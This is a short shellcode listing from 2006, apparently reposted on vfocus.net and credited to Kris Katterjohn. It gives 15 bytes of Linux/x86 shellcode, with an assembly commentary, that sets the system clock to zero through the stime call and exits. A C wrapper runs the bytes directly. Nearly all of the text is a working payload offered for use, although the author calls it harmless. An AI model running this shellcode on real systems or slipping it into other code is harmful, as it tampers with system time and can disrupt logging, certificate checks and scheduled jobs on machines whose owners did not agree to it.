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linux/x86 set system time to 0 and exit 15 bytes
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来源：vfocus.net 作者：Kris 发布时间：2006-11-20
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/* By Kris Katterjohn 11/14/2006
*
* 15 byte shellcode to set system time to 0 and exit. No real damage :)
*
* exit() code is the last 5 bytes (0x6a - 0x80)
*
* for Linux/x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; stime([0])
*
* push byte 25
* pop eax
* xor ecx, ecx
* push ecx
* mov ebx, esp
* int 0x80
*
* ; exit()
* push byte 1
* pop eax
* int 0x80
*/main()
{
char shellcode[] =
"\x6a\x19\x58\x31\xc9\x51\x89\xe3\xcd\x80\x6a\x01\x58\xcd\x80"; (*(void (*)()) shellcode)();
}
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